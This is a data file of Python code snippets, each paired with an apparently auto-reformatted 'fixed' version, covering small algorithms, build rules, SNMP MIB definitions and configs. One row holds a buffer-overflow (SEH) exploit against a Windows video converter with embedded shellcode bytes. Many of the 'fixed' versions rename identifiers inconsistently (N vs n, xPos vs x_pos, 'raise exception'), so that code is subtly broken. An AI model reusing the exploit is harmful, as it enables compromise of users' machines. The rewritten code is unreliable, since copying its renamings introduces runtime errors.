content
stringlengths
7
1.05M
fixed_cases
stringlengths
1
1.28M
def covid19_impact_estimator(reported_cases): currently_infected = reported_cases * 10 return currently_infected reported_cases = int(input("Enter the reported_cases: ")) impact = covid19_impact_estimator(reported_cases) print("Currently infected people is ",impact) def severe_impact(reported_cases): currentl...
def covid19_impact_estimator(reported_cases): currently_infected = reported_cases * 10 return currently_infected reported_cases = int(input('Enter the reported_cases: ')) impact = covid19_impact_estimator(reported_cases) print('Currently infected people is ', impact) def severe_impact(reported_cases): curr...
# This rule was inspired by rules_closure`s implementation of # |closure_proto_library|, licensed under Apache 2. # https://github.com/bazelbuild/rules_closure/blob/3555e5ba61fdcc17157dd833eaf7d19b313b1bca/closure/protobuf/closure_proto_library.bzl load( "@io_bazel_rules_closure//closure/compiler:closure_js_librar...
load('@io_bazel_rules_closure//closure/compiler:closure_js_library.bzl', 'create_closure_js_library') load('@io_bazel_rules_closure//closure/private:defs.bzl', 'CLOSURE_JS_TOOLCHAIN_ATTRS', 'unfurl') load('@io_bazel_rules_closure//closure/protobuf:closure_proto_library.bzl', 'closure_proto_aspect') def _generate_closu...
# -*- coding: utf-8 -*- __version__ = '0.6.4.a5' default_app_config = 'django_multisite_plus.apps.AppConfig'
__version__ = '0.6.4.a5' default_app_config = 'django_multisite_plus.apps.AppConfig'
# bogus.py # # Bogus example of a generator that produces and receives values def countdown(n): print("Counting down from {}".format(n)) while n >= 0: newvalue = (yield n) print("getting new value {}".format(newvalue)) # If a new value got sent in, reset n with it if newvalue i...
def countdown(n): print('Counting down from {}'.format(n)) while n >= 0: newvalue = (yield n) print('getting new value {}'.format(newvalue)) if newvalue is not None: n = newvalue else: n -= 1 c = countdown(5) for x in c: print(x) if x == 5: ...
# this file for banner! # print banner def Banner(): with open("resources/banner.txt") as file: print(file.read()); file.close() # Test the banner ! if __name__ == "__main__": Banner()
def banner(): with open('resources/banner.txt') as file: print(file.read()) file.close() if __name__ == '__main__': banner()
#!/bin/python3 N = int(input()) if (N >= 1) and (N <= 20): for i in range(N): if i >= 0: print(str(i**2))
n = int(input()) if N >= 1 and N <= 20: for i in range(N): if i >= 0: print(str(i ** 2))
# Created by MechAviv # ID :: [910141050] # Hidden Street : Happy Days sm.reservedEffect("Effect/Direction8.img/lightningTutorial2/Scene1") sm.sendDelay(10000) sm.setTemporarySkillSet(0) sm.setInGameDirectionMode(False, True, False, False) # Unhandled Message [47] Packet: 2F 01 00 00 00 B0 83 08 00 00 00 00 00 2E 02 ...
sm.reservedEffect('Effect/Direction8.img/lightningTutorial2/Scene1') sm.sendDelay(10000) sm.setTemporarySkillSet(0) sm.setInGameDirectionMode(False, True, False, False) sm.warp(910141010, 0)
## >--- ## >Title: python comprehensions ## >Keywords: python comprehensions, zip function ## >Author: Hemaxi ## >--- ## ># Python Comprehensions ## >* Python comprehensions, are shourtcut syntactic constructs that are ## > used with sets, lists and dictionaries ## >* They can be used to create new lists / dicts fro...
list_1 = [5, 6, 7] squared_list = [c ** 2 for c in list_1] print(squared_list) add5_dict = {c: c + 5 for c in list_1} print(add5_dict) list_2 = [2, 3, 4, 5] even_add5_list = [c + 5 for c in list_2 if c % 2 == 0] print(even_add5_list) squared_dict = {c: c + 5 for c in list_2 if c % 2 != 0} print(squared_dict) list_a = [...
############################################################################# ## ## Copyright (C) 2019 The Qt Company Ltd. ## Contact: https://www.qt.io/licensing/ ## ## This file is part of Qt for Python. ## ## $QT_BEGIN_LICENSE:LGPL$ ## Commercial License Usage ## Licensees holding valid commercial Qt licenses may us...
major_version = '6' minor_version = '0' patch_version = '3' release_version_type = '' pre_release_version = '' if __name__ == '__main__': print(f'{major_version};{minor_version};{patch_version};{release_version_type};{pre_release_version}')
filter_names = ['Notch', 'ButterWorth Lowpass', 'ButterWorth Highpass', 'Butterworth Bandpass'] range_bins = 8 rd_shape = (8, 16) rd_vmax = 800 rd_vmin = -800 ra_shape = (8, 64) rd_controlGestureTab_display_dim = 128 rd_mmwTab_display_dim = 512 mmw_rd_rc_csr = 0.8 mmw_razi_rc_csr = 0.8 gui_mmw_rd_rc_csr_default = mmw_...
filter_names = ['Notch', 'ButterWorth Lowpass', 'ButterWorth Highpass', 'Butterworth Bandpass'] range_bins = 8 rd_shape = (8, 16) rd_vmax = 800 rd_vmin = -800 ra_shape = (8, 64) rd_control_gesture_tab_display_dim = 128 rd_mmw_tab_display_dim = 512 mmw_rd_rc_csr = 0.8 mmw_razi_rc_csr = 0.8 gui_mmw_rd_rc_csr_default = mm...
#!usr/bin/python3 print("Years divisible by 13: ") x = set([i for i in range(1989, 2999, 13)]) print(x, end="\n\n\r") y = set([i for i in range(2028, 2999, 52)]) print(y, end="\n\n\r") z = set([i for i in range(2000, 2999, 100)]) z.intersection_update(y) print(z)
print('Years divisible by 13: ') x = set([i for i in range(1989, 2999, 13)]) print(x, end='\n\n\r') y = set([i for i in range(2028, 2999, 52)]) print(y, end='\n\n\r') z = set([i for i in range(2000, 2999, 100)]) z.intersection_update(y) print(z)
# # Copyright (c) 2017 Juniper Networks, Inc. All rights reserved. # REACTION_MAP = { "instance_ip": { 'self': ['virtual_machine_interface', 'floating_ip'], 'virtual_machine_interface': [], 'floating_ip': [], }, "floating_ip": { 'self': ['virtual_machine_interface', 'instanc...
reaction_map = {'instance_ip': {'self': ['virtual_machine_interface', 'floating_ip'], 'virtual_machine_interface': [], 'floating_ip': []}, 'floating_ip': {'self': ['virtual_machine_interface', 'instance_ip'], 'virtual_machine_interface': [], 'instance_ip': []}, 'security_group': {'self': [], 'virtual_machine_interface'...
# model settings model = dict( type='TEM', temporal_dim=100, boundary_ratio=0.1, tem_feat_dim=400, tem_hidden_dim=512, tem_match_threshold=0.5) # model training and testing settings train_cfg = None test_cfg = dict(average_clips='score') # dataset settings dataset_type = 'ActivityNetDataset' dat...
model = dict(type='TEM', temporal_dim=100, boundary_ratio=0.1, tem_feat_dim=400, tem_hidden_dim=512, tem_match_threshold=0.5) train_cfg = None test_cfg = dict(average_clips='score') dataset_type = 'ActivityNetDataset' data_root = 'data/ActivityNet/activitynet_feature_cuhk/csv_mean_100/' data_root_val = 'data/ActivityNe...
class Parabola: def __init__(self, points): if len(points) != 3: raise Exception('Expected three points') x = [points[0].x, points[1].x, points[2].x] y = [points[0].y, points[1].y, points[2].y] denominator = (x[0] - x[1]) * (x[0] - x[2]) * (x[1] - x[2]) self._coefficients = [ (x[2] * (y[1] - y[0]) + ...
class Parabola: def __init__(self, points): if len(points) != 3: raise exception('Expected three points') x = [points[0].x, points[1].x, points[2].x] y = [points[0].y, points[1].y, points[2].y] denominator = (x[0] - x[1]) * (x[0] - x[2]) * (x[1] - x[2]) self._coe...
class Solution: def findUnsortedSubarray(self, nums: List[int]) -> int: stack = [] l = len(nums) r = 0 for idx, num in enumerate(nums): while stack and nums[stack[-1]] > num: l = min(l, stack.pop()) stack.append(idx) stack = [] ...
class Solution: def find_unsorted_subarray(self, nums: List[int]) -> int: stack = [] l = len(nums) r = 0 for (idx, num) in enumerate(nums): while stack and nums[stack[-1]] > num: l = min(l, stack.pop()) stack.append(idx) stack = [] ...
with open("input.txt") as f: slope = f.readlines() trees = 0 hight = len(slope) width = len(slope[0]) - 1 xPos = 0 for row in slope[1:]: xPos = (xPos + 3) % width if row[xPos] == "#": trees += 1 print(trees)
with open('input.txt') as f: slope = f.readlines() trees = 0 hight = len(slope) width = len(slope[0]) - 1 x_pos = 0 for row in slope[1:]: x_pos = (xPos + 3) % width if row[xPos] == '#': trees += 1 print(trees)
# Python 2.6.9 Cookie.py # Problem in 2.6 is making sure # the two JUMP_ABSOLUTES get turned into: # 26 CONTINUE 7 '7' # 29 JUMP_BACK 7 '7' # The fact that the "continue" is on the same # line as the "if" is important. for K in items: if V: continue # 32 CO...
for k in items: if V: continue for (k, v) in items: if V == '': continue if K not in attrs: continue
# Approach 2 - Iterative Inorder Traversal, One Pass # Time: O(N+M) # Space: O(N+M) # Definition for a binary tree node. # class TreeNode: # def __init__(self, val=0, left=None, right=None): # self.val = val # self.left = left # self.right = right class Solution: def getAllElements(se...
class Solution: def get_all_elements(self, root1: TreeNode, root2: TreeNode) -> List[int]: (stack1, stack2, output) = ([], [], []) while root1 or root2 or stack1 or stack2: while root1: stack1.append(root1) root1 = root1.left while root2: ...
def main() -> None: # if [l, r] is multiple of p, # rem[r] = rem[l - 1] * 10^(r - l + 1) mod p # fix l and count up r n, p = map(int, input().split()) a = list(map(int, input())) rem = [0] * (n + 1) for i in range(n): rem[i + 1] = (rem[i] * 10 + a[i]) % p pow_10 = [...
def main() -> None: (n, p) = map(int, input().split()) a = list(map(int, input())) rem = [0] * (n + 1) for i in range(n): rem[i + 1] = (rem[i] * 10 + a[i]) % p pow_10 = [1] * (n + 1) for i in range(n): pow_10[i + 1] = pow_10[i] * 10 % p count = [0] * p tot = 0 for i i...
# Time: O(n) # Space: O(1) class Solution(object): # @param prices, a list of integer # @return an integer def maxProfit(self, prices): max_profit, min_price = 0, float("inf") for price in prices: min_price = min(min_price, price) max_profit = max(max_prof...
class Solution(object): def max_profit(self, prices): (max_profit, min_price) = (0, float('inf')) for price in prices: min_price = min(min_price, price) max_profit = max(max_profit, price - min_price) return max_profit
WIDTH = 16 HEIGHT = 16 FIRST = 0 LAST = 255 _FONT = \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\ b'\x00\x00\x00\x00\x3f\xfc\x60\x06\xc0\x03\xcc\x33\xc0\x03\xc0\x03\xcf\xf3\xc3\xc3\xc0\x03\x60\x06\x3f\xfc\x00\x00\x00\x00\x00\x00'\ ...
width = 16 height = 16 first = 0 last = 255 _font = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\xfc`\x06\xc0\x03\xcc3\xc0\x03\xc0\x03\xcf\xf3\xc3\xc3\xc0\x03`\x06?\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\xfc\x7f...
class Swap(object): def __init__(self, str_input): self.str_input = str_input # simple solution def swappie(self): print("Using for loop") out = "" for x in self.str_input: if x.islower(): out += x.upper() else: out += ...
class Swap(object): def __init__(self, str_input): self.str_input = str_input def swappie(self): print('Using for loop') out = '' for x in self.str_input: if x.islower(): out += x.upper() else: out += x.lower() ret...
class ClassA: def func1(self): x = ClassC() def func2(self): self.func1() class ClassC: def func1(self): x = ClassA() def func2(self): pass
class Classa: def func1(self): x = class_c() def func2(self): self.func1() class Classc: def func1(self): x = class_a() def func2(self): pass
repeat_age = True while repeat_age: age = int(input("Check your movie ticket price by typing your age below\n")) if age < 3: print("Your ticket is free!") elif 3 <= age <= 12: print("Your ticket costs $10") elif age > 12: print("Your ticket costs $15") check = input("Would y...
repeat_age = True while repeat_age: age = int(input('Check your movie ticket price by typing your age below\n')) if age < 3: print('Your ticket is free!') elif 3 <= age <= 12: print('Your ticket costs $10') elif age > 12: print('Your ticket costs $15') check = input("Would yo...
# Blaster Damage Skin success = sm.addDamageSkin(2435546) if success: sm.chat("The Blaster Damage Skin has been added to your account's damage skin collection.")
success = sm.addDamageSkin(2435546) if success: sm.chat("The Blaster Damage Skin has been added to your account's damage skin collection.")
input_n = int(input()) list_l = list(range(input_n)) print('List L (awal) = ', list_l) average = sum(list_l)/len(list_l) list_k = [] list_m = [] while len(list_l) != 0: value = list_l.pop() if value <= average: list_k.append(value) else: list_m.append(value) print('List L (akhir) = ',...
input_n = int(input()) list_l = list(range(input_n)) print('List L (awal) = ', list_l) average = sum(list_l) / len(list_l) list_k = [] list_m = [] while len(list_l) != 0: value = list_l.pop() if value <= average: list_k.append(value) else: list_m.append(value) print('List L (akhir) = ', list...
a = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89] list = [] for i in a: if i < 5: list.append(i) print(list)
a = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89] list = [] for i in a: if i < 5: list.append(i) print(list)
innum=int(input()) inbase=int(input()) fin="" while(innum>0): rem=innum%inbase innum=innum//inbase #print(rem) fin+=str(rem) fin=fin[::-1] maxC=0 curr=0 for i in range(0,len(fin)): if(fin[i]=='0'): curr=1 while(i+1<len(fin) and fin[i+1]=='0'): curr+=1 i+...
innum = int(input()) inbase = int(input()) fin = '' while innum > 0: rem = innum % inbase innum = innum // inbase fin += str(rem) fin = fin[::-1] max_c = 0 curr = 0 for i in range(0, len(fin)): if fin[i] == '0': curr = 1 while i + 1 < len(fin) and fin[i + 1] == '0': curr += 1...
#(define SIZE 10000) SIZE = 10000 vec = [SIZE - i for i in range(SIZE)] def bubble_sort(l): swapped = True while swapped: swapped = False i = 0 while i < len(l) - 1: a, b = l[i], l[i + 1] if a > b: l[i] = b l[i + 1] = a ...
size = 10000 vec = [SIZE - i for i in range(SIZE)] def bubble_sort(l): swapped = True while swapped: swapped = False i = 0 while i < len(l) - 1: (a, b) = (l[i], l[i + 1]) if a > b: l[i] = b l[i + 1] = a swapped = Tr...
STOCK_DATA = [ { "symbol": "GE", "companyName": "General Electric Company", "exchange": "New York Stock Exchange", "industry": "Industrial Products", "website": "http://www.ge.com", "description": "General Electric Co is a digital industrial company. It operates in various segments, includin...
stock_data = [{'symbol': 'GE', 'companyName': 'General Electric Company', 'exchange': 'New York Stock Exchange', 'industry': 'Industrial Products', 'website': 'http://www.ge.com', 'description': 'General Electric Co is a digital industrial company. It operates in various segments, including power and water, oil and gas...
pkgname = "pcre2" pkgver = "10.39" pkgrel = 0 build_style = "gnu_configure" configure_args = [ "--with-pic", "--enable-pcre2-16", "--enable-pcre2-32", "--enable-pcre2test-libedit", "--enable-pcre2grep-libz", "--enable-pcre2grep-libbz2", "--enable-newline-is-anycrlf", "--enable-jit", ...
pkgname = 'pcre2' pkgver = '10.39' pkgrel = 0 build_style = 'gnu_configure' configure_args = ['--with-pic', '--enable-pcre2-16', '--enable-pcre2-32', '--enable-pcre2test-libedit', '--enable-pcre2grep-libz', '--enable-pcre2grep-libbz2', '--enable-newline-is-anycrlf', '--enable-jit', '--enable-static'] hostmakedepends = ...
__all__ = ['SENTINEL1_COLLECTION_ID', 'VV', 'VH', 'IW', 'ASCENDING', 'DESCENDING'] SENTINEL1_COLLECTION_ID = 'COPERNICUS/S1_GRD' VV = 'VV' VH = 'VH' IW = 'IW' ASCENDING = 'ASCENDING' DESCENDING = 'DESCENDING' MEAN = 'mean'
__all__ = ['SENTINEL1_COLLECTION_ID', 'VV', 'VH', 'IW', 'ASCENDING', 'DESCENDING'] sentinel1_collection_id = 'COPERNICUS/S1_GRD' vv = 'VV' vh = 'VH' iw = 'IW' ascending = 'ASCENDING' descending = 'DESCENDING' mean = 'mean'
class A: def __init__(self, x = 0, y = 0, z = 0): self.x = x self.y = y self.z = z def dist(self, other): return other.x class B: def __init__(self, A_points): self.A_points = A_points def __call__(self, u): return self.A_points[0] ...
class A: def __init__(self, x=0, y=0, z=0): self.x = x self.y = y self.z = z def dist(self, other): return other.x class B: def __init__(self, A_points): self.A_points = A_points def __call__(self, u): return self.A_points[0] c = [b([a(7, 8, 3), a(4, ...
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, s...
inp = [x.split() for x in open('input02.txt').readlines()] def is_valid_two(fro, to, lttr, pw): return (pw[fro - 1] == lttr) ^ (pw[to - 1] == lttr) num_valid = 0 for (occs, lttr, pw) in inp: (fro, to) = occs.split('-') (fro, to) = (int(fro), int(to)) lttr = lttr[0] num_valid += is_valid_two(fro, to...
class DisableCSRF(object): def process_request(self, request): setattr(request, '_dont_enforce_csrf_checks', True)
class Disablecsrf(object): def process_request(self, request): setattr(request, '_dont_enforce_csrf_checks', True)
#!/usr/bin/env python class ConfigError(Exception): pass
class Configerror(Exception): pass
{ 'targets': [ { 'target_name': 'huffin', 'include_dirs' : [ "<!(node -e \"require('nan')\")", "<(nodedir)/deps/openssl/openssl/include", 'deps/libsodium/src/libsodium/include', 'deps/ed25519-donna', ], 'defines': [ 'ED25519_SSE2', ], 'so...
{'targets': [{'target_name': 'huffin', 'include_dirs': ['<!(node -e "require(\'nan\')")', '<(nodedir)/deps/openssl/openssl/include', 'deps/libsodium/src/libsodium/include', 'deps/ed25519-donna'], 'defines': ['ED25519_SSE2'], 'sources': ['deps/ed25519-donna/ed25519.c', 'src/binding.cc'], 'xcode_settings': {'OTHER_CFLAGS...
if __name__ == '__main__': data = [] raw_data = input().split() k_word = input() for i in raw_data: found = False for j in range(0, len(data)): if i == data[j][0]: found = True data[j] = (i, data[j][1]+1) break if not fo...
if __name__ == '__main__': data = [] raw_data = input().split() k_word = input() for i in raw_data: found = False for j in range(0, len(data)): if i == data[j][0]: found = True data[j] = (i, data[j][1] + 1) break if not ...
# https://leetcode.com/problems/all-elements-in-two-binary-search-trees def get_all_elements(root1, root2): values = [] get_sorted_list(root1, values) get_sorted_list(root2, values) return sorted(values) def get_sorted_list(node, values): if node.left: get_sorted_list(node.left, values) ...
def get_all_elements(root1, root2): values = [] get_sorted_list(root1, values) get_sorted_list(root2, values) return sorted(values) def get_sorted_list(node, values): if node.left: get_sorted_list(node.left, values) values.append(node.val) if node.right: get_sorted_list(node...
load("//:import_external.bzl", import_external = "safe_wix_scala_maven_import_external") def dependencies(): import_external( name = "jdom_jdom", artifact = "jdom:jdom:1.0", artifact_sha256 = "3b23bc3979aec14a952a12aafc483010dc57579775f2ffcacef5256a90eeda02", srcjar_sha256 = "a6f24a4acbc153d...
load('//:import_external.bzl', import_external='safe_wix_scala_maven_import_external') def dependencies(): import_external(name='jdom_jdom', artifact='jdom:jdom:1.0', artifact_sha256='3b23bc3979aec14a952a12aafc483010dc57579775f2ffcacef5256a90eeda02', srcjar_sha256='a6f24a4acbc153d42f5f3dd933baa3a3117e802f2eca308b7...
def printLinkedList(head): node = head while node: print(node.data) node = node.next
def print_linked_list(head): node = head while node: print(node.data) node = node.next
#!/usr/bin/env python ## ## See COPYING file distributed along with the ncanda-data-integration package ## for the copyright and license terms ## # # Variables from surveys needed for UPPS # input_fields = { 'youthreport2' : [ 'youth_report_2_complete', 'youthreport2_upps_sec1_...
input_fields = {'youthreport2': ['youth_report_2_complete', 'youthreport2_upps_sec1_upps4', 'youthreport2_upps_sec1_upps5', 'youthreport2_upps_sec1_upps10', 'youthreport2_upps_sec1_upps14', 'youthreport2_upps_sec1_upps16', 'youthreport2_upps_sec2_upps17', 'youthreport2_upps_sec2_upps19', 'youthreport2_upps_sec2_upps20'...
#!/usr/bin/env python # # Exploit Title : Allok AVI DivX MPEG to DVD Converter - Buffer Overflow (SEH) # Date : 3/27/18 # Exploit Author : wetw0rk # Vulnerable Software : Allok AVI DivX MPEG to DVD Converter # Vendor Homepage : http://alloksoft.com/ # Version : 2.6....
shellcode = '\x90' * 20 shellcode += 'ÙéÙt$ô¾K\x88,\x8fX1ɱ1\x83èü1p\x14\x03p_jÙs·è"\x8cG\x8d«iv\x8dÈú(=\x9a¯Ä¶Î[_ºÆlèq1Bé*\x01Åi1V%Pú«$\x95çFtNcôiû9Å\x02·¬Mö\x0fÎ|©\x04\x89^KÉ¡ÖS\x0e\x8f¡èä{095\x83\x9f\x04úváA<i\x94»?\x14¯\x7fBÂ:dä\x81\x9d@\x15E{\x02\x19"\x0fL=µÜæ9>ã(È\x04Àì\x91ßi´\x7f±\x96¦ n3¬Ì{Nï\x9azÜ\x95è}Þ\x95\\...
class Generator: def __init__(self): self.count = 0 def __iter__(self): return self def __next__(self): self.count += 1 if self.count > 9: raise StopIteration return self.count if __name__ == '__main__': for val in Generator(): print(val)
class Generator: def __init__(self): self.count = 0 def __iter__(self): return self def __next__(self): self.count += 1 if self.count > 9: raise StopIteration return self.count if __name__ == '__main__': for val in generator(): print(val)
M = 3 G = 6 print(M, G)
m = 3 g = 6 print(M, G)
# 105. Construct Binary Tree from Preorder and Inorder Traversal # https://leetcode.com/problems/construct-binary-tree-from-preorder-and-inorder-traversal/ # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None ...
class Solution: def build_tree(self, preorder: List[int], inorder: List[int]) -> TreeNode: self.curr = 0 def search(val, left, right): for i in range(left, right + 1): if inorder[i] == val: return i return -1 def build(left, righ...
class SQLQuery: ALL_TICKETS = 'SELECT * FROM Tickets' TICKETS_BY_ASSIGNEE = 'SELECT * FROM Tickets WHERE assignee=%s' TICKETS_BY_CREATOR = 'SELECT * FROM Tickets WHERE creator_id=%s' GET_USER_NAME_BY_ID = 'SELECT name FROM Users WHERE id=%s' GET_USER_BY_EMAIL = 'SELECT * FROM Users WHERE email=%s' ...
class Sqlquery: all_tickets = 'SELECT * FROM Tickets' tickets_by_assignee = 'SELECT * FROM Tickets WHERE assignee=%s' tickets_by_creator = 'SELECT * FROM Tickets WHERE creator_id=%s' get_user_name_by_id = 'SELECT name FROM Users WHERE id=%s' get_user_by_email = 'SELECT * FROM Users WHERE email=%s' ...
def hi(): name = input("Tell me your name\n"); print(name + ", Did you called me?"); response=input("let me know \n"); if(response == "no" or response == "No"): print("You didn't called me!!, I thought i heard someone calling me!.\n Thar's okay I must b talking to myself"); else: rep...
def hi(): name = input('Tell me your name\n') print(name + ', Did you called me?') response = input('let me know \n') if response == 'no' or response == 'No': print("You didn't called me!!, I thought i heard someone calling me!.\n Thar's okay I must b talking to myself") else: reply ...
# # PySNMP MIB module HUAWEI-CPU-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HUAWEI-CPU-MIB # Produced by pysmi-0.3.4 at Wed May 1 13:43:55 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2...
(octet_string, object_identifier, integer) = mibBuilder.importSymbols('ASN1', 'OctetString', 'ObjectIdentifier', 'Integer') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (constraints_union, single_value_constraint, constraints_intersection, value_range_constraint, value_size_constraint) ...
# # PySNMP MIB module IPS-AUTH-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/IPS-AUTH-MIB # Produced by pysmi-0.3.4 at Wed May 1 13:56:21 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019,...
(octet_string, object_identifier, integer) = mibBuilder.importSymbols('ASN1', 'OctetString', 'ObjectIdentifier', 'Integer') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (value_range_constraint, constraints_intersection, value_size_constraint, single_value_constraint, constraints_union) ...
n, s = int(input()), set(map(int, input().split())) for _ in range(int(input())): op, *num = input().split() getattr(s, op)(*map(int, num)) print(sum(s))
(n, s) = (int(input()), set(map(int, input().split()))) for _ in range(int(input())): (op, *num) = input().split() getattr(s, op)(*map(int, num)) print(sum(s))
# # Complete the simpleArraySum function below. # def simpleArraySum(ar): return(sum(ar)) ##################################### # ar_count = int(input()) # # ar = list(map(int, input().rstrip().split())) # # result = simpleArraySum(ar) # print(result)
def simple_array_sum(ar): return sum(ar)
def factorielle(n): if (n >= 3): return n * factorielle(n-1) return n print(factorielle(input("Enter a number : ")))
def factorielle(n): if n >= 3: return n * factorielle(n - 1) return n print(factorielle(input('Enter a number : ')))
#!/usr/bin/env python # -*- coding: utf-8 -*- modelChemistry = "CBS-QB3" useHinderedRotors = True useBondCorrections = True species('C2H5', 'ethyl.py') statmech('C2H5') thermo('C2H5', 'Wilhoit')
model_chemistry = 'CBS-QB3' use_hindered_rotors = True use_bond_corrections = True species('C2H5', 'ethyl.py') statmech('C2H5') thermo('C2H5', 'Wilhoit')
#!/usr/bin/python2.4 # Copyright 2008-9 Google Inc. All Rights Reserved. # version = (major, minor, trunk, patch) plugin_version = (0, 1, 43, 0) sdk_version = plugin_version
plugin_version = (0, 1, 43, 0) sdk_version = plugin_version
project='dcpots' version='0.1.1' debug = 1 defs = [] verbose = 'on' extra_c_flags = '-wno-unused-parameter' extra_cxx_flags = '--std=c++11 -lpthread -lrt -ldl' env={ 'protoc':'protoc', } units = [{ 'name':'dcbase', 'subdir':'base', }, { 'name':'dcnode', '...
project = 'dcpots' version = '0.1.1' debug = 1 defs = [] verbose = 'on' extra_c_flags = '-wno-unused-parameter' extra_cxx_flags = '--std=c++11 -lpthread -lrt -ldl' env = {'protoc': 'protoc'} units = [{'name': 'dcbase', 'subdir': 'base'}, {'name': 'dcnode', 'subdir': 'dcnode', 'incs': ['/usr/local/include', '/usr/local/...
def get_videos(tweets): videos = [tweet for tweet in tweets if tweet.full_text.lower().startswith('watched:') or 'via @YouTube' in tweet.full_text ] for video in videos: print(video) return videos
def get_videos(tweets): videos = [tweet for tweet in tweets if tweet.full_text.lower().startswith('watched:') or 'via @YouTube' in tweet.full_text] for video in videos: print(video) return videos
# parsetab.py # This file is automatically generated. Do not edit. # pylint: disable=W,C,R _tabversion = '3.10' _lr_method = 'LALR' _lr_signature = 'programleftCOMMArightASSIGNleftORleftANDleftEQUALSleftLTLTEGTGTEleftPLUSMINUSleftEXPleftPRODUCTDIVIDErightNOTrightINCREMENTDECREMENTAND ASSIGN BREAK COMMA DECREMENT DIV...
_tabversion = '3.10' _lr_method = 'LALR' _lr_signature = 'programleftCOMMArightASSIGNleftORleftANDleftEQUALSleftLTLTEGTGTEleftPLUSMINUSleftEXPleftPRODUCTDIVIDErightNOTrightINCREMENTDECREMENTAND ASSIGN BREAK COMMA DECREMENT DIVIDE DO DOT DOUBLE ELSE EQUALS EXP FALSE FOR FUNCTION GREATER GT GTE IDENTIFIER IF IN INCREMENT...
class SimplifiedCalculation: def __init__(self, a, b, c, u): self.a = a self.b = b self.c = c self.u = u self.step_1_res = set() self.result = set() def step_1(self): if not self.step_1_res: self.step_1_res = (self.u - self.b).intersection(sel...
class Simplifiedcalculation: def __init__(self, a, b, c, u): self.a = a self.b = b self.c = c self.u = u self.step_1_res = set() self.result = set() def step_1(self): if not self.step_1_res: self.step_1_res = (self.u - self.b).intersection(se...
name = 'build_util' version = '1' authors = ["joe.bloggs"] uuid = "9982b60993af4a4d89e8372472a49d02" description = "build utilities" def commands(): env.PYTHONPATH.append('{root}/python') build_command = 'python {root}/build.py {install}'
name = 'build_util' version = '1' authors = ['joe.bloggs'] uuid = '9982b60993af4a4d89e8372472a49d02' description = 'build utilities' def commands(): env.PYTHONPATH.append('{root}/python') build_command = 'python {root}/build.py {install}'
def run_caps_fastRPI(t=1): x_list = [ 6908,13476,19764,26055]# # Detectors, motors: dets = [pil1M, pil300KW] waxs_range = np.linspace(0, 45.5, 8) samples = [ 'LC-O38-6-100Cto40C', 'LC-O37-7-100Cto40C', 'LC-O36-9-100Cto40C', 'LC-O35-8-100Cto40C'] # param = '16.1keV' assert len(x_lis...
def run_caps_fast_rpi(t=1): x_list = [6908, 13476, 19764, 26055] dets = [pil1M, pil300KW] waxs_range = np.linspace(0, 45.5, 8) samples = ['LC-O38-6-100Cto40C', 'LC-O37-7-100Cto40C', 'LC-O36-9-100Cto40C', 'LC-O35-8-100Cto40C'] assert len(x_list) == len(samples), f'Number of X coordinates ({len(x_list...
ATTR_TYPES = [ 'age', 'workclass', 'fnlwgt', 'education', 'education-num', 'marital-status', 'occupation', 'relationship', 'race', 'sex', 'capital-gain', 'capital-loss', 'hours-per-week', 'native-country' ] CONTINUOUS_ATTRS = { 'age': 'Age', 'fnlwgt': 'Fi...
attr_types = ['age', 'workclass', 'fnlwgt', 'education', 'education-num', 'marital-status', 'occupation', 'relationship', 'race', 'sex', 'capital-gain', 'capital-loss', 'hours-per-week', 'native-country'] continuous_attrs = {'age': 'Age', 'fnlwgt': 'Final-Weight', 'education-num': 'Education-Num', 'capital-gain': 'Capi...
class Solution: def convert(self, s: str, numRows: int) -> str: l_s = len(s) if numRows == 1 or l_s <= numRows: return s numCols = l_s // numRows lines = [[] for _ in range(numRows)] nOfGroup = 2 * numRows - 2 for i in range(l_s // nOfGroup + 1): ...
class Solution: def convert(self, s: str, numRows: int) -> str: l_s = len(s) if numRows == 1 or l_s <= numRows: return s num_cols = l_s // numRows lines = [[] for _ in range(numRows)] n_of_group = 2 * numRows - 2 for i in range(l_s // nOfGroup + 1): ...
def square_of_sum(number): return (0.5 * number * (number+1)) ** 2 def sum_of_squares(number): return (1/6) * (number * (number+1) * (2 * number + 1)) def difference_of_squares(number): return square_of_sum(number) - sum_of_squares(number)
def square_of_sum(number): return (0.5 * number * (number + 1)) ** 2 def sum_of_squares(number): return 1 / 6 * (number * (number + 1) * (2 * number + 1)) def difference_of_squares(number): return square_of_sum(number) - sum_of_squares(number)
class JobReturnStatus: SUCCESS = 'SUCCESS' FAILED = 'FAILED' class NodeRunningStatus: STATIC = 'STATIC' CREATED = 'CREATED' IN_QUEUE = 'IN_QUEUE' RUNNING = 'RUNNING' SUCCESS = 'SUCCESS' RESTORED = 'RESTORED' FAILED = 'FAILED' CANCELED = 'CANCELED' _FINISHED_STATUSES = { ...
class Jobreturnstatus: success = 'SUCCESS' failed = 'FAILED' class Noderunningstatus: static = 'STATIC' created = 'CREATED' in_queue = 'IN_QUEUE' running = 'RUNNING' success = 'SUCCESS' restored = 'RESTORED' failed = 'FAILED' canceled = 'CANCELED' _finished_statuses = {STATI...
